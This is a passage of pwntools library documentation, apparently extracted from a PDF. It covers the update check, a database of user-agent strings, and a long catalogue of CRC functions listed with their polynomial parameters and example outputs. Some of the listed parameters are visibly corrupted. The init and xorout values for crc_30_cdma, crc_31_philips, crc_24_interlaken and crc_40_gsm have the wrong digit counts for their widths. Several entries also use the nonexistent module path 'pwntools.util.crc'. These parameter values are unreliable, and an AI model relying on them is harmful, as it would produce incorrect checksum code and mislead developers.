['pip', 'install', '-U', 'pwntools']
>>> perform_check(prerelease=True)
['pip', 'install', '-U', 'pwntools...']
```

`pwnlib.update.should_check()`

Return True if we should check for an update

2.30 `pwnlib.useragents` — A database of useragent strings

Database of >22,000 user agent strings

`pwnlib.useragents.getall()` → str set

Get all the user agents that we know about.

Parameters `None` –

Returns A set of user agent strings.

Examples

```
>>> 'libcurl-agent/1.0' in getall()
True
>>> 'wget' in getall()
True
```

`pwnlib.useragents.random()` → str
Get a random user agent string.

Parameters None –

Returns A random user agent string selected from `getall()`.

```
>>> import random as randommod
>>> randommod.seed(1)
>>> random()
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts;
↳FunWebProducts-MyTotalSearch; iebar)'
```

2.31 pwnlib.util.crc — Calculating CRC-sums

Module for calculating CRC-sums.

Contains all crc implementations known on the interwebz. For most implementations it contains only the core crc algorithm and not e.g. padding schemes.

It is horribly slow, as implements a naive algorithm working directly on bit polynomials. This class is exposed as *BitPolynom*.

The current algorithm is super-linear and takes about 4 seconds to calculate the crc32-sum of 'A'*40000.

An obvious optimization would be to actually generate some lookup-tables.

class `pwnlib.util.crc.BitPolynom(n)`

Class for representing $GF(2)[X]$, i.e. the field of polynomials over $GF(2)$.

In practice the polynomials are represented as numbers such that x^{**n} corresponds to $1 \ll n$. In this representation calculations are easy: Just do everything as normal, but forget about everything the carries.

Addition becomes xor and multiplication becomes carry-less multiplication.

Examples

```
>>> p1 = BitPolynom("x**3 + x + 1")
>>> p1
BitPolynom('x**3 + x + 1')
>>> int(p1)
11
>>> p1 == BitPolynom(11)
True
>>> p2 = BitPolynom("x**2 + x + 1")
>>> p1 + p2
BitPolynom('x**3 + x**2')
>>> p1 * p2
BitPolynom('x**5 + x**4 + 1')
>>> p1 // p2
BitPolynom('x + 1')
>>> p1 % p2
BitPolynom('x')
>>> d, r = divmod(p1, p2)
>>> d * p2 + r == p1
True
```

(continues on next page)

(continued from previous page)

```
>>> BitPolynom(-1)
Traceback (most recent call last):
...
ValueError: Polynomials cannot be negative: -1
>>> BitPolynom('y')
Traceback (most recent call last):
...
ValueError: Not a valid polynomial: y
```

degree()

Returns the degree of the polynomial.

Examples

```
>>> BitPolynom(0).degree()
0
>>> BitPolynom(1).degree()
0
>>> BitPolynom(2).degree()
1
>>> BitPolynom(7).degree()
2
>>> BitPolynom((1 << 10) - 1).degree()
9
>>> BitPolynom(1 << 10).degree()
10
```

`pwnlib.util.crc.generic_crc` (*data*, *polynom*, *width*, *init*, *refin*, *refout*, *xorout*)

A generic CRC-sum function.

This is suitable to use with: <http://reveng.sourceforge.net/crc-catalogue/all.htm>

The “check” value in the document is the CRC-sum of the string “123456789”.

Parameters

- **data** (*str*) – The data to calculate the CRC-sum of. This should either be a string or a list of bits.
- **polynom** (*int*) – The polynomial to use.
- **init** (*int*) – If the CRC-sum was calculated in hardware, then this would be the initial value of the checksum register.
- **refin** (*bool*) – Should the input bytes be reflected?
- **refout** (*bool*) – Should the checksum be reflected?
- **xorout** (*int*) – The value to xor the checksum with before outputting

`pwnlib.util.crc.cksum` (*data*) → *int*

Calculates the same checksum as returned by the UNIX-tool `cksum`.

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print cksum('123456789')
930766865
```

`pwntools.util.crc.find_crc_function(data, checksum)`

Finds all known CRC functions that hashes a piece of data into a specific checksum. It does this by trying all known CRC functions one after the other.

Parameters `data` (*str*) – Data for which the checksum is known.

Example

```
>>> find_crc_function('test', 46197)
[<function crc_crc_16_dnp at ...>]
```

`pwntools.util.crc.arc(data) → int`

Calculates the arc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.16>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print arc('123456789')
47933
```

`pwntools.util.crc.crc_10(data) → int`

Calculates the `crc_10` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x233`
- `width = 10`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.10>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_10('123456789')
409
```

`pwnlib.util.crc.crc_10_cdma2000` (*data*) → int
Calculates the `crc_10_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3d9`
- `width = 10`
- `init = 0x3ff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_10_cdma2000('123456789')
563
```

`pwnlib.util.crc.crc_10_gsm` (*data*) → int
Calculates the `crc_10_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x175`
- `width = 10`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x3ff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-gsm>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_10_gsm('123456789')
298
```

`pwnlib.util.crc.crc_11` (*data*) → int
Calculates the `crc_11` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x385`
- `width = 11`
- `init = 0x1a`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.11>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_11('123456789')
1443
```

`pwnlib.util.crc.crc_11_ums` (*data*) → int
Calculates the `crc_11_ums` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x307`
- `width = 11`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-11-ums>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_11_ums('123456789')
97
```

`pwnlib.util.crc.crc_12_cdma2000` (*data*) → int
Calculates the `crc_12_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xf13`
- `width = 12`
- `init = 0xfff`

- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.12>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_12_cdma2000('123456789')
3405
```

`pwnlib.util.crc.crc_12_dect` (*data*) → int
Calculates the `crc_12_dect` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x80f
- width = 12
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-dect>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_12_dect('123456789')
3931
```

`pwnlib.util.crc.crc_12_gsm` (*data*) → int
Calculates the `crc_12_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0xd31
- width = 12
- init = 0x0
- refin = False
- refout = False
- xorout = 0xff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-gsm>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_12_gsm('123456789')
2868
```

`pwntools.util.crc.crc_12_umts(data)` → int
Calculates the `crc_12_umts` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x80f`
- `width = 12`
- `init = 0x0`
- `refin = False`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-umts>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_12_umts('123456789')
3503
```

`pwntools.util.crc.crc_13_bbc(data)` → int
Calculates the `crc_13_bbc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1cf5`
- `width = 13`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.13>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_13_bbc('123456789')
1274
```

`pwntools.util.crc.crc_14_darc(data)` → int
Calculates the `crc_14_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x805`
- `width = 14`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.14>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_14_darc('123456789')
2093
```

`pwnlib.util.crc.crc_14_gsm(data) → int`

Calculates the `crc_14_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x202d`
- `width = 14`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x3fff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-14-gsm>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_14_gsm('123456789')
12462
```

`pwnlib.util.crc.crc_15(data) → int`

Calculates the `crc_15` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4599`
- `width = 15`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.15>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_15('123456789')
1438
```

`pwnlib.util.crc.crc_15_mpt1327` (*data*) → int

Calculates the `crc_15_mpt1327` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x6815`
- `width = 15`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x1`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_15_mpt1327('123456789')
9574
```

`pwnlib.util.crc.crc_16_aug_ccitt` (*data*) → int

Calculates the `crc_16_aug_ccitt` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x1d0f`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-aug-ccitt>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_aug_ccitt('123456789')
58828
```

`pwnlib.util.crc.crc_16_buypass(data) → int`
Calculates the `crc_16_buypass` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-buypass>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print crc_16_buypass('123456789')
65256
```

`pwnlib.util.crc.crc_16_ccitt_false(data) → int`
Calculates the `crc_16_ccitt_false` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ccitt-false>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print crc_16_ccitt_false('123456789')
10673
```

`pwnlib.util.crc.crc_16_cdma2000(data) → int`
Calculates the `crc_16_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xc867`
- `width = 16`
- `init = 0xffff`

- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_cdma2000('123456789')
19462
```

`pwnlib.util.crc.crc_16_cms` (*data*) → int
Calculates the `crc_16_cms` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cms>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_cms('123456789')
44775
```

`pwnlib.util.crc.crc_16_dds_110` (*data*) → int
Calculates the `crc_16_dds_110` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x800d`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dds-110>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_dds_110('123456789')
40655
```

`pwnlib.util.crc.crc_16_dect_r(data) → int`

Calculates the `crc_16_dect_r` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x589`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x1`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-r>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_dect_r('123456789')
126
```

`pwnlib.util.crc.crc_16_dect_x(data) → int`

Calculates the `crc_16_dect_x` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x589`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-x>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_dect_x('123456789')
127
```

`pwnlib.util.crc.crc_16_dnp(data) → int`

Calculates the `crc_16_dnp` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3d65`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dnp>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_dnp('123456789')
60034
```

`pwnlib.util.crc.crc_16_en_13757` (*data*) → int

Calculates the `crc_16_en_13757` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3d65`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-en-13757>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_en_13757('123456789')
49847
```

`pwnlib.util.crc.crc_16_genibus` (*data*) → int

Calculates the `crc_16_genibus` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-genibus>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_genibus('123456789')
54862
```

`pwnlib.util.crc.crc_16_gsm(data) → int`

Calculates the `crc_16_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-gsm>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_gsm('123456789')
52796
```

`pwnlib.util.crc.crc_16_lj1200(data) → int`

Calculates the `crc_16_lj1200` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x6f63`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-lj1200>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_lj1200('123456789')
48628
```

`pwnlib.util.crc.crc_16_maxim(data) → int`
Calculates the `crc_16_maxim` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-maxim>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_maxim('123456789')
17602
```

`pwnlib.util.crc.crc_16_mcrf4xx(data) → int`
Calculates the `crc_16_mcrf4xx` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xffff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_mcrf4xx('123456789')
28561
```

`pwnlib.util.crc.crc_16_opensafety_a(data) → int`
Calculates the `crc_16_opensafety_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x5935`
- `width = 16`
- `init = 0x0`

- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_opensafety_a('123456789')
23864
```

`pwnlib.util.crc.crc_16_opensafety_b(data) → int`
Calculates the `crc_16_opensafety_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x755b`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_opensafety_b('123456789')
8446
```

`pwnlib.util.crc.crc_16_profibus(data) → int`
Calculates the `crc_16_profibus` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1dcf`
- `width = 16`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-profibus>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_profibus('123456789')
43033
```

`pwnlib.util.crc.crc_16_riello(data) → int`
Calculates the `crc_16_riello` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xb2aa`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-riello>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_riello('123456789')
25552
```

`pwnlib.util.crc.crc_16_t10_dif(data) → int`
Calculates the `crc_16_t10_dif` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8bb7`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_t10_dif('123456789')
53467
```

`pwnlib.util.crc.crc_16_teledisk(data) → int`
Calculates the `crc_16_teledisk` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xa097`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-teledisk>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_teledisk('123456789')
4019
```

`pwnlib.util.crc.crc_16_tms37157` (*data*) → int

Calculates the `crc_16_tms37157` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x89ec`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-tms37157>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_tms37157('123456789')
9905
```

`pwnlib.util.crc.crc_16_usb` (*data*) → int

Calculates the `crc_16_usb` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0xffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-usb>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_usb('123456789')
46280
```

`pwnlib.util.crc.crc_24` (*data*) → int

Calculates the `crc_24` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x864cfb`
- `width = 24`
- `init = 0xb704ce`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.24>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_24('123456789')
2215682
```

`pwnlib.util.crc.crc_24_ble` (*data*) → int

Calculates the `crc_24_ble` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x65b`
- `width = 24`
- `init = 0x555555`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-ble>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_24_ble('123456789')
12737110
```

`pwnlib.util.crc.crc_24_flexray_a(data) → int`
Calculates the `crc_24_flexray_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x5d6dcb`
- `width = 24`
- `init = 0xfedcba`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print crc_24_flexray_a('123456789')
7961021
```

`pwnlib.util.crc.crc_24_flexray_b(data) → int`
Calculates the `crc_24_flexray_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x5d6dcb`
- `width = 24`
- `init = 0xabcdef`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print crc_24_flexray_b('123456789')
2040760
```

`pwnlib.util.crc.crc_24_interlaken(data) → int`
Calculates the `crc_24_interlaken` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x328b63`
- `width = 24`
- `init = 0xffffffff`

- `refin = False`
- `refout = False`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-interlaken>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_24_interlaken('123456789')
11858918
```

`pwnlib.util.crc.crc_24_lte_a(data) → int`

Calculates the `crc_24_lte_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x864cfb`
- `width = 24`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_24_lte_a('123456789')
13494019
```

`pwnlib.util.crc.crc_24_lte_b(data) → int`

Calculates the `crc_24_lte_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x800063`
- `width = 24`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-b>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_24_lte_b('123456789')
2355026
```

`pwnlib.util.crc.crc_30_cdma(data)` → int
Calculates the `crc_30_cdma` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x2030b9c7`
- `width = 30`
- `init = 0x3ffffff`
- `refin = False`
- `refout = False`
- `xorout = 0x3ffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.30>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_30_cdma('123456789')
79907519
```

`pwnlib.util.crc.crc_31_philips(data)` → int
Calculates the `crc_31_philips` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 31`
- `init = 0x7ffffff`
- `refin = False`
- `refout = False`
- `xorout = 0x7ffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.31>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_31_philips('123456789')
216654956
```

`pwnlib.util.crc.crc_32(data)` → int
Calculates the `crc_32` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.32>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_32('123456789')
3421780262
```

`pwnlib.util.crc.crc_32_autosar` (*data*) → int

Calculates the `crc_32_autosar` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xf4acfb13`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-autosar>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_32_autosar('123456789')
379048042
```

`pwnlib.util.crc.crc_32_bzip2` (*data*) → int

Calculates the `crc_32_bzip2` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0xffffffff`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-bzip2>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_32_bzip2('123456789')
4236843288
```

`pwnlib.util.crc.crc_32_mpeg_2(data) → int`

Calculates the `crc_32_mpeg_2` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0xffffffff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_32_mpeg_2('123456789')
58124007
```

`pwnlib.util.crc.crc_32_posix(data) → int`

Calculates the `crc_32_posix` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-posix>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_32_posix('123456789')
1985902208
```

`pwnlib.util.crc.crc_32c(data)` → int
Calculates the `crc_32c` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1edc6f41`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32c>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_32c('123456789')
3808858755
```

`pwnlib.util.crc.crc_32d(data)` → int
Calculates the `crc_32d` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xa833982b`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32d>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_32d('123456789')
2268157302
```

`pwnlib.util.crc.crc_32q(data)` → int
Calculates the `crc_32q` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x814141ab`
- `width = 32`
- `init = 0x0`

- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32q>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_32q('123456789')
806403967
```

`pwnlib.util.crc.crc_3_gsm(data) → int`
Calculates the `crc_3_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 3`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x7`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.3>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_3_gsm('123456789')
4
```

`pwnlib.util.crc.crc_3_rohc(data) → int`
Calculates the `crc_3_rohc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 3`
- `init = 0x7`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-3-rohc>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_3_rohc('123456789')
6
```

`pwnlib.util.crc.crc_40_gsm(data)` → int
Calculates the `crc_40_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4820009`
- `width = 40`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.40>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_40_gsm('123456789')
910907393606
```

`pwnlib.util.crc.crc_4_interlaken(data)` → int
